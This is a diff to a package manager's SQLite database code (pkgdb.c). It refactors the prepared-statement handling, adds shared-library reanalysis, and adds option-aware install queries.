		sqlite3_bind_text(stmt, 1, pkg_user_name(user), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt2, 1, package_id);
-
		sqlite3_bind_text(stmt2, 2, pkg_user_name(user), -1, SQLITE_STATIC);
-

-
		if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
-
			if (ret == SQLITE_CONSTRAINT) {
-
				pkg_emit_error("sqlite: constraint violation on users.name: %s",
-
						pkg_user_name(user));
-
			} else
-
				ERROR_SQLITE(s);
-
			goto cleanup;
-
		}
-
		if (( ret = sqlite3_step(stmt2)) != SQLITE_DONE) {
+
		if (run_prstmt(USERS1, pkg_user_name(user))
+
		    != SQLITE_DONE
+
		    ||
+
		    run_prstmt(USERS2, package_id, pkg_user_name(user))
+
		    != SQLITE_DONE) {
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt);
-
		sqlite3_reset(stmt2);
	}
-
	sqlite3_finalize(stmt2);
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;
-
	stmt2 = NULL;

	/*
	 * Insert groups
	 */
-
	if (sqlite3_prepare_v2(s, sql_group, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-
	if (sqlite3_prepare_v2(s, sql_groups, -1, &stmt2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}

	while (pkg_groups(pkg, &group) == EPKG_OK) {
-
		sqlite3_bind_text(stmt, 1, pkg_group_name(group), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt2, 1, package_id);
-
		sqlite3_bind_text(stmt2, 2, pkg_group_name(group), -1, SQLITE_STATIC);
-

-
		if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
-
			if (ret == SQLITE_CONSTRAINT) {
-
				pkg_emit_error("sqlite: constraint violation on groups.name: %s",
-
						pkg_group_name(group));
-
			} else
-
				ERROR_SQLITE(s);
-
			goto cleanup;
-
		}
-
		if (( ret = sqlite3_step(stmt2)) != SQLITE_DONE) {
+
		if (run_prstmt(GROUPS1, pkg_group_name(group))
+
		    != SQLITE_DONE
+
		    ||
+
		    run_prstmt(GROUPS2, package_id, pkg_group_name(group))
+
		    != SQLITE_DONE)
+
		{
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt);
-
		sqlite3_reset(stmt2);
	}
-
	sqlite3_finalize(stmt2);
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;
-
	stmt2 = NULL;

	/*
	 * Insert scripts
	 */

-
	if (sqlite3_prepare_v2(s, sql_script, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-

-
	while (pkg_scripts(pkg, &script) == EPKG_OK) {
-
		sqlite3_bind_text(stmt, 1, pkg_script_data(script), -1, SQLITE_STATIC);
-
		sqlite3_bind_int(stmt, 2, pkg_script_type(script));
-
		sqlite3_bind_int64(stmt, 3, package_id);
+
	for (i = 0; i < PKG_NUM_SCRIPTS; i++) {
+
		if (pkg_script_get(pkg, i) == NULL)
+
			continue;

-
		if (sqlite3_step(stmt) != SQLITE_DONE) {
+
		if (run_prstmt(SCRIPTS, pkg_script_get(pkg, i),
+
		    i, package_id) != SQLITE_DONE) {
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt);
	}
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;

	/*
	 * Insert options
	 */

-
	if (sqlite3_prepare_v2(s, sql_option, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-

	while (pkg_options(pkg, &option) == EPKG_OK) {
-
		sqlite3_bind_text(stmt, 1, pkg_option_opt(option), -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt, 2, pkg_option_value(option), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt, 3, package_id);
-

-
		if (sqlite3_step(stmt) != SQLITE_DONE) {
+
		if (run_prstmt(OPTIONS, pkg_option_opt(option),
+
		    pkg_option_value(option), package_id) != SQLITE_DONE) {
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt);
	}
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;

	/*
	 * Insert shlibs
	 */
-

-
	if (sqlite3_prepare_v2(s, sql_shlib, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
+
	if (pkgdb_update_shlibs(pkg, package_id, s) != EPKG_OK)
		goto cleanup;
-
	}
-
	if (sqlite3_prepare_v2(s, sql_shlibs, -1, &stmt2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}

-
	while (pkg_shlibs(pkg, &shlib) == EPKG_OK) {
-
		sqlite3_bind_text(stmt, 1, pkg_shlib_name(shlib), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt2, 1, package_id);
-
		sqlite3_bind_text(stmt2, 2, pkg_shlib_name(shlib), -1, SQLITE_STATIC);
+
	retcode = EPKG_OK;

-
		if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
-
			if (ret == SQLITE_CONSTRAINT) {
-
				pkg_emit_error("sqlite: constraint violation on shlibs.name: %s",
-
						pkg_shlib_name(shlib));
-
			} else
-
				ERROR_SQLITE(s);
-
			goto cleanup;
-
		}
-
		if (( ret = sqlite3_step(stmt2)) != SQLITE_DONE) {
+
	cleanup:
+

+
	return (retcode);
+
}
+

+
int
+
pkgdb_update_shlibs(struct pkg *pkg, int64_t package_id, sqlite3 *s)
+
{
+
	struct pkg_shlib	*shlib = NULL;
+

+
	while (pkg_shlibs(pkg, &shlib) == EPKG_OK) {
+
		if (run_prstmt(SHLIBS1, pkg_shlib_name(shlib))
+
		    != SQLITE_DONE
+
		    ||
+
		    run_prstmt(SHLIBS2, package_id, pkg_shlib_name(shlib))
+
		    != SQLITE_DONE) {
			ERROR_SQLITE(s);
-
			goto cleanup;
+
			return (EPKG_FATAL);
		}
-
		sqlite3_reset(stmt);
-
		sqlite3_reset(stmt2);
	}
-
	sqlite3_finalize(stmt);
-
	sqlite3_finalize(stmt2);
-
	stmt = NULL;
-
	stmt2 = NULL;

-
	retcode = EPKG_OK;
+
	return (EPKG_OK);
+
}

-
	cleanup:
+
int
+
pkgdb_reanalyse_shlibs(struct pkgdb *db, struct pkg *pkg)
+
{
+
	sqlite3		*s;
+
	int64_t		 package_id;
+
	int		 ret = EPKG_OK;
+
	const char	 sql[] = ""
+
		"DELETE FROM pkg_shlibs WHERE package_id = ?1;";
+
	const char	*sql2 = ""
+
		"DELETE FROM shlibs "
+
		"WHERE id NOT IN "
+
		"(SELECT DISTINCT shlib_id FROM pkg_shlibs);";

-
	if (stmt != NULL)
-
		sqlite3_finalize(stmt);
-
	if (stmt2 != NULL)
-
		sqlite3_finalize(stmt2);
+
	sqlite3_stmt	*stmt_del;

-
	return (retcode);
+
	assert(db != NULL);
+

+
	if (pkg_is_valid(pkg) != EPKG_OK) {
+
		pkg_emit_error("the package is not valid");
+
		return (EPKG_FATAL);
+
	}
+

+
	if ((ret = pkg_analyse_files(db, pkg)) == EPKG_OK) {
+
		if (!db->prstmt_initialized &&
+
		    prstmt_initialize(db) != EPKG_OK)
+
			return (EPKG_FATAL);
+

+
		s = db->sqlite;
+
		pkg_get(pkg, PKG_ROWID, &package_id);
+

+
		/* Clean out old shlibs first */
+
		if (sqlite3_prepare_v2(db->sqlite, sql, -1, &stmt_del, NULL)
+
		    != SQLITE_OK) {
+
			ERROR_SQLITE(db->sqlite);
+
			return (EPKG_FATAL);
+
		}
+

+
		sqlite3_bind_int64(stmt_del, 1, package_id);
+

+
		ret = sqlite3_step(stmt_del);
+
		sqlite3_finalize(stmt_del);
+

+
		if (ret != SQLITE_DONE) {
+
			ERROR_SQLITE(db->sqlite);
+
			return (EPKG_FATAL);
+
		}
+

+
		if (sql_exec(db->sqlite, sql2) != EPKG_OK)
+
			return (EPKG_FATAL);
+

+
		/* Save shlibs */
+
		ret = pkgdb_update_shlibs(pkg, package_id, s);
+
	}
+

+
	return (ret);
}

+

int
pkgdb_register_finale(struct pkgdb *db, int retcode)
{
-
	int ret = EPKG_OK;
-
	const char *cmd;
+
	int		 ret = EPKG_OK;
+
	const char	*cmd;

	assert(db != NULL);

@@ -1964,7 +2123,8 @@ pkgdb_register_finale(struct pkgdb *db, int retcode)
int
pkgdb_register_ports(struct pkgdb *db, struct pkg *pkg)
{
-
	int ret;
+
	int	ret;
+

	pkg_emit_install_begin(pkg);

	ret = pkgdb_register_pkg(db, pkg, 0);
@@ -1972,20 +2132,43 @@ pkgdb_register_ports(struct pkgdb *db, struct pkg *pkg)
		pkg_emit_install_finished(pkg);

	pkgdb_register_finale(db, ret);
+

	return (ret);
}

int
pkgdb_unregister_pkg(struct pkgdb *db, const char *origin)
{
-
	sqlite3_stmt *stmt_del;
-
	int ret;
-
	const char sql[] = "DELETE FROM packages WHERE origin = ?1;";
+
	sqlite3_stmt	*stmt_del;
+
	int		 ret;
+
	const char	 sql[] = ""
+
		"DELETE FROM packages WHERE origin = ?1;";
+
	const char	*deletions[] = {
+
		"directories WHERE id NOT IN "
+
			"(SELECT DISTINCT directory_id FROM pkg_directories)",
+
		"categories WHERE id NOT IN "
+
			"(SELECT DISTINCT category_id FROM pkg_categories)",
+
		"licenses WHERE id NOT IN "
+
			"(SELECT DISTINCT license_id FROM pkg_licenses)",
+
		"mtree WHERE id NOT IN "
+
			"(SELECT DISTINCT mtree_id FROM packages)",
+
		/* TODO print the users that are not used anymore */
+
		"users WHERE id NOT IN "
+
			"(SELECT DISTINCT user_id FROM pkg_users)",
+
		/* TODO print the groups trhat are not used anymore */
+
		"groups WHERE id NOT IN "
+
			"(SELECT DISTINCT group_id FROM pkg_groups)",
+
		"shlibs WHERE id NOT IN "
+
			"(SELECT DISTINCT shlib_id FROM pkg_shlibs)"
+
	};
+
	size_t		 num_deletions = 
+
		sizeof(deletions) / sizeof(*deletions);

	assert(db != NULL);
	assert(origin != NULL);

-
	if (sqlite3_prepare_v2(db->sqlite, sql, -1, &stmt_del, NULL) != SQLITE_OK){
+
	if (sqlite3_prepare_v2(db->sqlite, sql, -1, &stmt_del, NULL)
+
	    != SQLITE_OK){
		ERROR_SQLITE(db->sqlite);
		return (EPKG_FATAL);
	}
@@ -2000,41 +2183,22 @@ pkgdb_unregister_pkg(struct pkgdb *db, const char *origin)
		return (EPKG_FATAL);
	}

-
	/* cleanup directories */
-
	if (sql_exec(db->sqlite, "DELETE from directories WHERE id NOT IN (SELECT DISTINCT directory_id FROM pkg_directories);") != EPKG_OK)
-
		return (EPKG_FATAL);
-

-
	if (sql_exec(db->sqlite, "DELETE from categories WHERE id NOT IN (SELECT DISTINCT category_id FROM pkg_categories);") != EPKG_OK)
-
		return (EPKG_FATAL);
-

-
	if (sql_exec(db->sqlite, "DELETE from licenses WHERE id NOT IN (SELECT DISTINCT license_id FROM pkg_licenses);") != EPKG_OK)
-
		return (EPKG_FATAL);
-

-
	if (sql_exec(db->sqlite, "DELETE FROM mtree WHERE id NOT IN (SELECT DISTINCT mtree_id FROM packages);") != EPKG_OK)
-
		return (EPKG_FATAL);
-

-
	/* TODO print the users that are not used anymore */
-
	if (sql_exec(db->sqlite, "DELETE FROM users WHERE id NOT IN (SELECT DISTINCT user_id FROM pkg_users);") != EPKG_OK)
-
		return (EPKG_FATAL);
-

-
	/* TODO print the groups trhat are not used anymore */
-
	if (sql_exec(db->sqlite, "DELETE FROM groups WHERE id NOT IN (SELECT DISTINCT group_id FROM pkg_groups);") != EPKG_OK)
-
		return (EPKG_FATAL);
-

-
	if (sql_exec(db->sqlite, "DELETE FROM shlibs WHERE id NOT IN (SELECT DISTINCT shlib_id FROM pkg_shlibs);") != EPKG_OK)
-
		return (EPKG_FATAL);
-

+
	for (size_t obj = 0;obj < num_deletions; obj++) {
+
		ret = sql_exec(db->sqlite, "DELETE FROM %s;", deletions[obj]);
+
		if (ret != EPKG_OK)
+
			return (EPKG_FATAL);
+
	}
	return (EPKG_OK);
}

int
sql_exec(sqlite3 *s, const char *sql, ...)
{
-
	va_list ap;
-
	const char *sql_to_exec;
-
	char *sqlbuf = NULL;
-
	char *errmsg;
-
	int ret = EPKG_FATAL;
+
	va_list		 ap;
+
	const char	*sql_to_exec;
+
	char		*sqlbuf = NULL;
+
	char		*errmsg;
+
	int		 ret = EPKG_FATAL;

	assert(s != NULL);
	assert(sql != NULL);
@@ -2066,12 +2230,14 @@ sql_exec(sqlite3 *s, const char *sql, ...)
static bool
is_attached(sqlite3 *s, const char *name)
{
-
	sqlite3_stmt *stmt;
-
	const char *dbname;
+
	sqlite3_stmt	*stmt;
+
	const char	*dbname;
+
	int		 ret;

	assert(s != NULL);

-
	if (sqlite3_prepare_v2(s, "PRAGMA database_list;", -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(s, "PRAGMA database_list;", -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(s);
		return false;
	}
@@ -2092,11 +2258,18 @@ is_attached(sqlite3 *s, const char *name)
static void
report_already_installed(sqlite3 *s)
{
-
	sqlite3_stmt *stmt = NULL;
-
	const char *origin = NULL;
-
	const char *sql = "SELECT origin FROM pkgjobs WHERE "
+
	sqlite3_stmt	*stmt = NULL;
+
	const char	*origin = NULL;
+
	const char	*sql = ""
+
		"SELECT origin FROM pkgjobs WHERE "
		"(SELECT p.origin FROM main.packages AS p WHERE "
-
		"p.origin=pkgjobs.origin AND p.version=pkgjobs.version) IS NOT NULL;";
+
		"p.origin=pkgjobs.origin AND p.version=pkgjobs.version "
+
		"AND (SELECT group_concat(option) FROM "
+
		"  (select option FROM main.options "
+
		"                 WHERE package_id=p.id "
+
		"                 AND value='on' ORDER BY option))"
+
		"IS pkgjobs.opts) "
+
		"IS NOT NULL;";

	assert(s != NULL);

@@ -2107,36 +2280,45 @@ report_already_installed(sqlite3 *s)

	while (sqlite3_step(stmt) != SQLITE_DONE) {
		origin = sqlite3_column_text(stmt, 0);
-
		pkg_emit_error("%s is already installed and at the latest version", origin);
+
		pkg_emit_error("%s is already installed and at "
+
		    "the latest version", origin);
	}

	sqlite3_finalize(stmt);
}

static int
-
sql_on_all_attached_db(sqlite3 *s, struct sbuf *sql, const char *multireposql) {
-
	sqlite3_stmt *stmt;
-
	const char *dbname;
-
	bool first = true;
+
sql_on_all_attached_db(sqlite3 *s, struct sbuf *sql, const char *multireposql,
+
    const char *compound)
+
{
+
	sqlite3_stmt	*stmt;
+
	const char	*dbname;
+
	bool		 first = true;
+
	int		 ret;

	assert(s != NULL);
+
	assert(compound != NULL);

-
	if (sqlite3_prepare_v2(s, "PRAGMA database_list;", -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(s, "PRAGMA database_list;", -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(s);
		return (EPKG_FATAL);
	}

	while (sqlite3_step(stmt) != SQLITE_DONE) {
		dbname = sqlite3_column_text(stmt, 1);
-
		if ((strcmp(dbname, "main") == 0) || (strcmp(dbname, "temp") == 0))
+
		if ((strcmp(dbname, "main") == 0) ||
+
		    (strcmp(dbname, "temp") == 0))
			continue;

		if (!first) {
-
			sbuf_cat(sql, " UNION ALL ");
+
			sbuf_cat(sql, compound);
		} else {
			first = false;
		}
-
		sbuf_printf(sql, multireposql, dbname, dbname);
+

+
		/* replace any occurences of the dbname in the resulting SQL */
+
		sbuf_printf(sql, multireposql, dbname);
	}

	sqlite3_finalize(stmt);
@@ -2147,13 +2329,15 @@ sql_on_all_attached_db(sqlite3 *s, struct sbuf *sql, const char *multireposql) {
static void
pkgdb_detach_remotes(sqlite3 *s)
{
-
	sqlite3_stmt *stmt;
-
	struct sbuf *sql = NULL;
-
	const char *dbname;
+
	sqlite3_stmt	*stmt;
+
	struct sbuf	*sql = NULL;
+
	const char	*dbname;
+
	int		 ret;

	assert(s != NULL);

-
	if (sqlite3_prepare_v2(s, "PRAGMA database_list;", -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(s, "PRAGMA database_list;", -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(s);
		return;
	}
@@ -2177,11 +2361,11 @@ pkgdb_detach_remotes(sqlite3 *s)
	sbuf_delete(sql);
}

-
static int
+
int
get_pragma(sqlite3 *s, const char *sql, int64_t *res)
{
-
	sqlite3_stmt *stmt;
-
	int ret;
+
	sqlite3_stmt	*stmt;
+
	int		 ret;

	assert(s != NULL && sql != NULL);

@@ -2208,21 +2392,26 @@ get_pragma(sqlite3 *s, const char *sql, int64_t *res)
int
pkgdb_compact(struct pkgdb *db)
{
-
	int64_t page_count = 0;
-
	int64_t freelist_count = 0;
+
	int64_t	page_count = 0;
+
	int64_t	freelist_count = 0;
+
	int	ret;

	assert(db != NULL);

-
	if (get_pragma(db->sqlite, "PRAGMA page_count;", &page_count) != EPKG_OK)
+
	ret = get_pragma(db->sqlite, "PRAGMA page_count;", &page_count);
+
	if (ret != EPKG_OK)
		return (EPKG_FATAL);

-
	if (get_pragma(db->sqlite, "PRAGMA freelist_count;", &freelist_count) !=
-
		EPKG_OK)
+
	ret = get_pragma(db->sqlite, "PRAGMA freelist_count;",
+
			 &freelist_count);
+
	if (ret != EPKG_OK)
		return (EPKG_FATAL);

	/*
-
	 * Only compact if we will save 25% (or more) of the current used space.
+
	 * Only compact if we will save 25% (or more) of the current
+
	 * used space.
	 */
+

	if (freelist_count / (float)page_count < 0.25)
		return (EPKG_OK);

@@ -2232,18 +2421,21 @@ pkgdb_compact(struct pkgdb *db)
static int
create_temporary_pkgjobs(sqlite3 *s)
{
-
	int ret;
+
	int	ret;

	assert(s != NULL);

	ret = sql_exec(s, "DROP TABLE IF EXISTS pkgjobs;"
-
			"CREATE TEMPORARY TABLE IF NOT EXISTS pkgjobs (pkgid INTEGER, "
-
			"origin TEXT UNIQUE NOT NULL, name TEXT, version TEXT, "
-
			"comment TEXT, desc TEXT, message TEXT, "
-
			"arch TEXT, maintainer TEXT, "
-
			"www TEXT, prefix TEXT, flatsize INTEGER, newversion TEXT, "
-
			"newflatsize INTEGER, pkgsize INTEGER, cksum TEXT, repopath TEXT, automatic INTEGER, weight INTEGER"
-
			"dbname TEXT);");
+
			"CREATE TEMPORARY TABLE IF NOT EXISTS pkgjobs ("
+
			"    pkgid INTEGER, origin TEXT UNIQUE NOT NULL,"
+
			"    name TEXT, version TEXT, comment TEXT, desc TEXT, "
+
			"    message TEXT, arch TEXT, maintainer TEXT, "
+
			"    www TEXT, prefix TEXT, flatsize INTEGER, "
+
			"    newversion TEXT, newflatsize INTEGER, "
+
			"    pkgsize INTEGER, cksum TEXT, repopath TEXT, "
+
			"    automatic INTEGER, weight INTEGER, dbname TEXT, "
+
			"    opts TEXT"
+
			");");

	return (ret);
}
@@ -2251,25 +2443,32 @@ create_temporary_pkgjobs(sqlite3 *s)
static struct pkgdb_it *
pkgdb_query_newpkgversion(struct pkgdb *db, const char *repo)
{
-
	struct sbuf *sql = NULL;
-
	const char *reponame = NULL;
-
	sqlite3_stmt *stmt = NULL;
-
	struct pkgdb_it *it = NULL;
-

-
	const char finalsql[] = "SELECT pkgid AS id, origin, name, version, "
+
	struct sbuf	*sql = NULL;
+
	const char	*reponame = NULL;
+
	sqlite3_stmt	*stmt = NULL;
+
	struct pkgdb_it	*it = NULL;
+
	int		 ret;
+
	const char	 finalsql[] = ""
+
		"SELECT pkgid AS id, origin, name, version, "
		"comment, desc, message, arch, maintainer, "
		"www, prefix, flatsize, newversion, newflatsize, pkgsize, "
		"cksum, repopath, automatic, weight, "
		"'%s' AS dbname FROM pkgjobs;";
-

-
	const char main_sql[] = "INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, newversion, comment, desc, arch, "
-
			"maintainer, www, prefix, newflatsize, pkgsize, "
-
			"version, flatsize, cksum, repopath, automatic) "
-
			"SELECT p.id, p.origin, p.name, p.version as newversion, p.comment, p.desc, "
-
			"p.arch, p.maintainer, p.www, p.prefix, p.flatsize as newflatsize, p.pkgsize, "
-
			/* If not installed from a port, insert the running version in */
-
			"COALESCE(l.version, '" PKG_PORTVERSION "') as version, COALESCE(l.flatsize, p.flatsize) as flatsize, "
-
			"p.cksum, p.path, 0 FROM '%s'.packages as p LEFT JOIN packages as l ON p.origin = l.origin WHERE p.origin='ports-mgmt/pkg';";
+
	const char	 main_sql[] = ""
+
	    "INSERT OR IGNORE INTO pkgjobs ("
+
	    "  pkgid, origin, name, newversion, comment, desc, arch, "
+
	    "  maintainer, www, prefix, newflatsize, pkgsize, "
+
	    "  version, flatsize, cksum, repopath, automatic "
+
	    ") "
+
	    "SELECT p.id, p.origin, p.name, p.version as newversion, "
+
	    "       p.comment, p.desc, p.arch, p.maintainer, p.www, "
+
	    "       p.prefix, p.flatsize as newflatsize, p.pkgsize, "
+
	    /* If not installed from a port, insert the running version in */
+
	    "COALESCE(l.version, '" PKG_PORTVERSION "') as version, "
+
	    "COALESCE(l.flatsize, p.flatsize) as flatsize, "
+
	    "p.cksum, p.path, 0 FROM '%s'.packages as p "
+
	    "  LEFT JOIN packages as l ON p.origin = l.origin "
+
	    "  WHERE p.origin='ports-mgmt/pkg';";

	assert(db != NULL);
	assert(db->type == PKGDB_REMOTE);
@@ -2291,7 +2490,9 @@ pkgdb_query_newpkgversion(struct pkgdb *db, const char *repo)
	}

	/* Delete where the current version is higher than the remote version */
-
	sql_exec(db->sqlite, "DELETE FROM pkgjobs WHERE PKGGT(version, newversion) OR version == newversion;");
+
	sql_exec(db->sqlite,
+
	    "DELETE FROM pkgjobs WHERE "
+
	    "  PKGGT(version, newversion) OR version == newversion;");

	/* Return NULL if pkg was deleted */
	if (sqlite3_changes(db->sqlite) > 0) {
@@ -2302,7 +2503,8 @@ pkgdb_query_newpkgversion(struct pkgdb *db, const char *repo)
	sbuf_printf(sql, finalsql, reponame);
	sbuf_finish(sql);

-
	if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		goto cleanup;
	}
@@ -2316,44 +2518,69 @@ cleanup:
}

struct pkgdb_it *
-
pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, const char *repo, bool force)
+
pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs,
+
    const char *repo, bool force, bool recursive)
{
-
	sqlite3_stmt *stmt = NULL;
-
	struct pkgdb_it *it;
-
	int i = 0;
-
	struct sbuf *sql = NULL;
-
	const char *how = NULL;
-
	const char *reponame = NULL;
+
	sqlite3_stmt	*stmt = NULL;
+
	struct pkgdb_it	*it;
+
	int		 i = 0, ret;
+
	struct sbuf	*sql = NULL;
+
	const char	*how = NULL;
+
	const char	*reponame = NULL;

	if ((it = pkgdb_query_newpkgversion(db, repo)) != NULL) {
		pkg_emit_newpkgversion();
		return (it);
	}

-
	const char finalsql[] = "SELECT pkgid AS id, origin, name, version, "
+
	const char	 finalsql[] = ""
+
		"SELECT pkgid AS id, origin, name, version, "
		"comment, desc, message, arch, maintainer, "
		"www, prefix, flatsize, newversion, newflatsize, pkgsize, "
		"cksum, repopath, automatic, weight, "
		"'%s' AS dbname FROM pkgjobs ORDER BY weight DESC;";

-
	const char main_sql[] = "INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, comment, desc, arch, "
-
			"maintainer, www, prefix, flatsize, pkgsize, "
-
			"cksum, repopath, automatic) "
-
			"SELECT id, origin, name, version, comment, desc, "
-
			"arch, maintainer, www, prefix, flatsize, pkgsize, "
-
			"cksum, path, 0 FROM '%s'.packages WHERE ";
-

-
	const char deps_sql[] = "INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, comment, desc, arch, "
-
				"maintainer, www, prefix, flatsize, pkgsize, "
-
				"cksum, repopath, automatic) "
-
				"SELECT DISTINCT r.id, r.origin, r.name, r.version, r.comment, r.desc, "
-
				"r.arch, r.maintainer, r.www, r.prefix, r.flatsize, r.pkgsize, "
-
				"r.cksum, r.path, 1 "
-
				"FROM '%s'.packages AS r where r.origin IN "
-
				"(SELECT d.origin FROM '%s'.deps AS d, pkgjobs AS j WHERE d.package_id = j.pkgid) "
-
				"AND (SELECT origin FROM main.packages WHERE origin=r.origin AND version=r.version) IS NULL;";
-

-
	const char weight_sql[] = "UPDATE pkgjobs SET weight=("
+
	const char	 main_sql[] =
+
		"INSERT OR IGNORE INTO pkgjobs ("
+
		"  pkgid, origin, name, version, comment, desc, arch, "
+
		"  maintainer, www, prefix, flatsize, pkgsize, "
+
		"  cksum, repopath, automatic, opts"
+
		") "
+
		"SELECT id, origin, name, version, comment, desc, "
+
		"  arch, maintainer, www, prefix, flatsize, pkgsize, "
+
		"  cksum, path, 0, "
+
		"  (SELECT group_concat(option) FROM "
+
		"    (SELECT option FROM '%s'.options "
+
		"                   WHERE package_id=id"
+
		"                   AND value='on' ORDER BY option"
+
		"    )"
+
		"  ) "
+
		"FROM '%s'.packages WHERE ";
+

+
	const char	deps_sql[] = ""
+
		"INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, comment, desc, arch, "
+
	    "maintainer, www, prefix, flatsize, pkgsize, "
+
	    "cksum, repopath, automatic) "
+
	    "SELECT DISTINCT r.id, r.origin, r.name, r.version, r.comment, r.desc, "
+
	    "r.arch, r.maintainer, r.www, r.prefix, r.flatsize, r.pkgsize, "
+
	    "r.cksum, r.path, 1 "
+
	    "FROM '%s'.packages AS r where r.origin IN "
+
	    "(SELECT d.origin FROM '%s'.deps AS d, pkgjobs AS j WHERE d.package_id = j.pkgid) "
+
	    "AND (SELECT origin FROM main.packages WHERE origin=r.origin AND version=r.version) IS NULL;";
+

+
	const char	upwards_deps_sql[] = ""
+
		"INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, comment, desc, arch, "
+
		"maintainer, www, prefix, flatsize, pkgsize, "
+
		"cksum, repopath, automatic) "
+
		"SELECT DISTINCT r.id, r.origin, r.name, r.version, r.comment, r.desc, "
+
		"r.arch, r.maintainer, r.www, r.prefix, r.flatsize, r.pkgsize, "
+
		"r.cksum, r.path, p.automatic "
+
		"FROM '%s'.packages AS r "
+
		"INNER JOIN main.packages p ON (p.origin = r.origin) "
+
		"WHERE r.id IN (SELECT d.package_id FROM '%s'.deps AS d, pkgjobs AS j WHERE d.origin = j.origin);";
+

+
	const char	weight_sql[] = ""
+
		"UPDATE pkgjobs SET weight=("
		"SELECT COUNT(*) FROM '%s'.deps AS d, '%s'.packages AS p, pkgjobs AS j "
			"WHERE d.origin = pkgjobs.origin "
				"AND d.package_id = p.id "
@@ -2367,7 +2594,7 @@ pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, c
		return (NULL);

	sql = sbuf_new_auto();
-
	sbuf_printf(sql, main_sql, reponame);
+
	sbuf_printf(sql, main_sql, reponame, reponame);

	how = pkgdb_get_match_how(match);

@@ -2381,7 +2608,9 @@ pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, c
	sbuf_finish(sql);

	for (i = 0; i < nbpkgs; i++) {
-
		if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
		ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1,
+
		    &stmt, NULL);
+
		if (ret != SQLITE_OK) {
			ERROR_SQLITE(db->sqlite);
			sbuf_delete(sql);
			return (NULL);
@@ -2391,16 +2620,29 @@ pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, c

		/* report if package was not found in the database */
		if (sqlite3_changes(db->sqlite) == 0)
-
			pkg_emit_error("Package '%s' was not found in the repositories", pkgs[i]);
+
			pkg_emit_error("Package '%s' was not found in "
+
			    "the repositories", pkgs[i]);
	}

	sqlite3_finalize(stmt);
	sbuf_clear(sql);

-
	/* Report and remove packages already installed and at the latest version */
+
	/*
+
	 * Report and remove packages already installed and at the latest
+
	 * version and without option change
+
	 */
	report_already_installed(db->sqlite);
-
	if (!force)
-
		sql_exec(db->sqlite, "DELETE from pkgjobs where (select p.origin from main.packages as p where p.origin=pkgjobs.origin and p.version=pkgjobs.version and p.name = pkgjobs.name) IS NOT NULL;");
+
	if (!force) {
+
		sql_exec(db->sqlite, "DELETE FROM pkgjobs WHERE "
+
		    "(SELECT p.origin FROM main.packages AS p WHERE "
+
		    "p.origin=pkgjobs.origin AND PKGGT(p.version,pkgjobs.version))"
+
		    "IS NOT NULL;");
+
		sql_exec(db->sqlite, "DELETE FROM pkgjobs WHERE "
+
		    "(SELECT p.origin FROM main.packages AS p WHERE "
+
		    "p.origin=pkgjobs.origin AND p.version=pkgjobs.version AND p.name = pkgjobs.name "
+
		    "AND (SELECT group_concat(option) FROM (select option FROM main.options WHERE package_id=p.id AND value='on' ORDER BY option)) IS pkgjobs.opts "
+
		    ")IS NOT NULL;");
+
	}

	/* Append dependencies */
	sbuf_reset(sql);
@@ -2411,6 +2653,12 @@ pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, c
		sql_exec(db->sqlite, sbuf_get(sql));
	} while (sqlite3_changes(db->sqlite) != 0);

+
	if (recursive) {
+
		do {
+
			sql_exec(db->sqlite, upwards_deps_sql,
+
				 reponame, reponame);
+
		} while (sqlite3_changes(db->sqlite) != 0);
+
	}

